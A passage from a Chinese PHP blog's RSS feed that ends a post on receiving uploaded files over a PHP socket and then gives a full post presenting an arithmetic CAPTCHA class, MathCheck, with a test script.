<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$fp</span><span style="color: Gray;"> = </span><span style="color: Blue;">fopen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">wb</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">continue</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$buffer</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">'</span><span style="color: Red;">data:</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">continue</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$buffer</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">'</span><span style="color: Red;">dataend</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">break</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: #00008b;">$buffer</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Blue;">fclose</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">socket_close</span><span style="color: Olive;">(</span><span style="color: #00008b;">$connection</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Blue;">socket_close</span><span style="color: Olive;">(</span><span style="color: #00008b;">$socket</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; </span></li>
<li><span style="color: Blue;">?&gt;</span></li></ol></div>
<p>curl基本基于socket的，原理同上。</p>
<p><strong>AJAX、FLASH跨域上传</strong><br />
这方面不熟，就不说了</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/image-server-build/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于PHP算术运算验证码的研究</title>
		<link>http://www.ieliwb.com/php-math-checked/</link>
		<comments>http://www.ieliwb.com/php-math-checked/#comments</comments>
		<pubDate>Mon, 18 May 2009 14:31:00 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[算术]]></category>
		<category><![CDATA[验证码]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/?p=92</guid>
		<description><![CDATA[<img src="http://www.ieliwb.com/u/img/math_check.png" alt="math_check" title="math_check" width="435" height="166" class="alignnone size-full wp-image-93" />
最近2天在研究验证码，看了很多，不外乎图片，算术，token验证（<a href="http://www.ieliwb.com/?p=87">PHP无码验证机制</a>），其中当算图片的用户体验最不好了，最少都要输入4个字母，有的更多，目的不外乎是为了防止垃圾留言等。今天为大家推荐一个算术验证的机制，类库是国外的人写的，挺不错的，基本可以放弃图片验证了。而且不依赖cookie和session。转载请注明来自<a href="http://www.ieliwb.com">www.ieliwb.com</a>[......]<p class='read-more'><a href='http://www.ieliwb.com/php-math-checked/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.ieliwb.com/u/img/math_check.png" alt="math_check" title="math_check" width="435" height="166" class="alignnone size-full wp-image-93" /><br />
最近2天在研究验证码，看了很多，不外乎图片，语音，算术，token验证（<a href="http://www.ieliwb.com/?p=87">PHP无码验证机制</a>），其中当算图片的用户体验最不好了，最少都要输入4个字母，有的更多，目的不外乎是为了防止垃圾留言等。今天为大家推荐一个算术验证的机制，类库是国外的人写的，挺不错的，基本可以放弃图片验证了。而且不依赖cookie和session。转载请注明来自<a href="http://www.ieliwb.com">www.ieliwb.com</a></p>
<p><strong>math类库(mathcheck.class.php)：</strong>英语比较烂，只简单的注明功能</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">&lt;?php</span></li>
<li><span style="color: #ffa500;">/*&nbsp;&nbsp; </span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; Author: Michael Woehrer &lt;michael dot woehrer at gmail dot com&gt;</span></li>
<li><span style="color: #ffa500;">Author URI: </span><span style="color: Blue;">http://sw-guide.de/</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; Version: 1.1</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; Copyright&nbsp; 2006-2007, all rights reserved</span></li>
<li><span style="color: #ffa500;">*/</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">class</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">MathCheck</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Green;">var</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$opt</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// array containing the options</span></li>
<li><span style="color: Green;">var</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$info</span><span style="color: Gray;">;&nbsp; &nbsp;&nbsp; </span><span style="color: #ffa500;">// containing information</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;"> * MathCheck</span></li>
<li><span style="color: #ffa500;"> */</span><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">MathCheck</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">opt</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">(</span></li>
<li><span style="color: #8b0000;">'</span><span style="color: Red;">unique</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> =&gt; </span><span style="color: #8b0000;">'</span><span style="color: Red;">LnfvpVZmsSCfLf0WxXN0</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span></li>
<li><span style="color: #8b0000;">'</span><span style="color: Red;">input_numbers</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> =&gt; </span><span style="color: #8b0000;">'</span><span style="color: Red;">1~1, 2~2, 3~3, 4~4, 5~5, 6~6, 7~7, 8~8, 9~9, 10~10</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span></li>
<li><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;"> * GenerateValues 创建算术分子</span></li>
<li><span style="color: #ffa500;"> */</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">GenerateValues</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$num_array</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">auxNoToArray</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">opt</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">input_numbers</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$rand_keys</span><span style="color: Gray;"> = </span><span style="color: Blue;">array_rand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$num_array</span><span style="color: Gray;">, </span><span style="color: Maroon;">2</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$num_array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$rand_keys</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$num_array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$rand_keys</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">result</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">auxGenerateHash</span><span style="color: Olive;">(</span><span style="color: #00008b;">$rand_keys</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$rand_keys</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">, </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: Blue;">j</span><span style="color: Olive;">))</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;"> * InputValidation&nbsp; 验证计算结果</span></li>
<li><span style="color: #ffa500;"> * Input validation. Returns an empty string if validation passed or an error string if not passed.&nbsp; &nbsp;&nbsp; </span></li>
<li><span style="color: #ffa500;"> */</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">InputValidation</span><span style="color: Olive;">(</span><span style="color: #00008b;">$actualResult</span><span style="color: Gray;">, </span><span style="color: #00008b;">$userEntered</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$error</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Case 1: User has not entered an answer at all:</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$error</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">''</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: #00008b;">$userEntered</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">''</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$error</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">No answer</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #00008b;">$userEntered</span><span style="color: Gray;"> = </span><span style="color: Blue;">preg_replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/[^0-9]/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #8b0000;">''</span><span style="color: Gray;">, </span><span style="color: #00008b;">$userEntered</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// Remove everything except numbers</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$error</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">''</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: #00008b;">$actualResult</span><span style="color: Gray;"> != </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">auxGenerateHash</span><span style="color: Olive;">(</span><span style="color: #00008b;">$userEntered</span><span style="color: Gray;">, </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: Blue;">j</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">G</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> &lt;= </span><span style="color: Maroon;">1</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">AND</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$actualResult</span><span style="color: Gray;"> == </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">auxGenerateHash</span><span style="color: Olive;">(</span><span style="color: Gray;">$</span><span style="color: #00008b;">$userEntered</span><span style="color: Gray;">, </span><span style="color: Olive;">(</span><span style="color: Blue;">intval</span><span style="color: Olive;">(</span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: Blue;">j</span><span style="color: Olive;">))</span><span style="color: Gray;">-</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #ffa500;">// User has just passed midnight while writing the comment. We consider</span></li>
<li><span style="color: #ffa500;">// the time between 0:00 and 1:59 still as the day before to avoid</span></li>
<li><span style="color: #ffa500;">// error messages if user visited page on 23:50 but pressed the &quot;Submit Comment&quot;</span></li>
<li><span style="color: #ffa500;">// button on 0:15.</span></li>
<li><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$error</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">Wrong answer</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$error</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #ffa500;">/***</span></li>
<li><span style="color: #ffa500;"> * auxNoToArray&nbsp; 根据自定义字符串获取算子</span></li>
<li><span style="color: #ffa500;"> * Converts the input string, e.g. &quot;1~one, 2~two, 3~three, 4~four, ...&quot;</span></li>
<li><span style="color: #ffa500;"> * into an array, e.g.: Array([1] =&gt; one, [2] =&gt; two, [3] =&gt; three, ...)</span></li>
<li><span style="color: #ffa500;"> */</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">auxNoToArray</span><span style="color: Olive;">(</span><span style="color: #00008b;">$input</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$input</span><span style="color: Gray;"> = </span><span style="color: Blue;">str_replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">&nbsp;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #8b0000;">''</span><span style="color: Gray;">, </span><span style="color: #00008b;">$input</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// Strip whitespace</span></li>
<li><span style="color: #00008b;">$sourcearray</span><span style="color: Gray;"> = </span><span style="color: Blue;">explode</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">,</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$input</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// Create array</span></li>
<li><span style="color: Green;">foreach</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$sourcearray</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$loopval</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #00008b;">$temparr</span><span style="color: Gray;"> = </span><span style="color: Blue;">explode</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">~</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$loopval</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$targetarray</span><span style="color: Olive;">[</span><span style="color: #00008b;">$temparr</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$temparr</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$targetarray</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #ffa500;">/***</span></li>
<li><span style="color: #ffa500;"> * auxGenerateHash&nbsp; 加密结果</span></li>
<li><span style="color: #ffa500;"> * Generate hash</span></li>
<li><span style="color: #ffa500;"> */</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">auxGenerateHash</span><span style="color: Olive;">(</span><span style="color: #00008b;">$inputstring</span><span style="color: Gray;">, </span><span style="color: #00008b;">$day</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: #ffa500;">// Adds the file modification time of this file</span></li>
<li><span style="color: #00008b;">$inputstring</span><span style="color: Gray;"> .= </span><span style="color: Blue;">filemtime</span><span style="color: Olive;">(</span><span style="color: Green;">__FILE__</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Adds a unique value defined in the options</span></li>
<li><span style="color: #00008b;">$inputstring</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">opt</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">unique</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Add the IP address of the server under which the current script is executing.</span></li>
<li><span style="color: #00008b;">$inputstring</span><span style="color: Gray;"> .= </span><span style="color: Blue;">getenv</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">SERVER_ADDR</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Add date</span></li>
<li><span style="color: #00008b;">$inputstring</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$day</span><span style="color: Gray;"> . </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">ny</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Get MD5 and reverse it</span></li>
<li><span style="color: #00008b;">$enc</span><span style="color: Gray;"> = </span><span style="color: Blue;">strrev</span><span style="color: Olive;">(</span><span style="color: Blue;">md5</span><span style="color: Olive;">(</span><span style="color: #00008b;">$inputstring</span><span style="color: Olive;">))</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Get only a few chars out of the string</span></li>
<li><span style="color: #00008b;">$enc</span><span style="color: Gray;"> = </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">, </span><span style="color: Maroon;">28</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> . </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">, </span><span style="color: Maroon;">9</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> . </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">, </span><span style="color: Maroon;">21</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> . </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">, </span><span style="color: Maroon;">15</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> . </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">, </span><span style="color: Maroon;">7</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">// Return result</span></li>
<li><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$enc</span><span style="color: Gray;">; </span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Blue;">?&gt;</span></li></ol></div>
<p><strong>测试文件mathcheck.php:</strong></p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">&lt;?php</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">include_once</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">./mathcheck.class.php</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">MathCheck</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$mc</span><span style="color: Gray;"> = </span><span style="color: Blue;">math_create</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">user_entered</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span></li>
<li><span style="color: Olive;">{</span></li>
<li><span style="color: Blue;">var_dump</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">math_check</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #ffa500;">/***********************</span></li>
<li><span style="color: #ffa500;"> * 获取数学问题和答案</span></li>
<li><span style="color: #ffa500;"> ***********************/</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">math_create</span><span style="color: Olive;">()</span></li>
<li><span style="color: Olive;">{</span></li>
<li><span style="color: Green;">global</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">GenerateValues</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$mc_info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$mc_info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$mc_info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">result</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp;&nbsp; = </span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">info</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">result</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$mc_info</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #ffa500;">/***************</span></li>
<li><span style="color: #ffa500;"> * 验证回答结果</span></li>
<li><span style="color: #ffa500;"> ***************/</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">math_check</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Green;">global</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$actual_result</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">actual_result</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$user_entered</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">user_entered</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
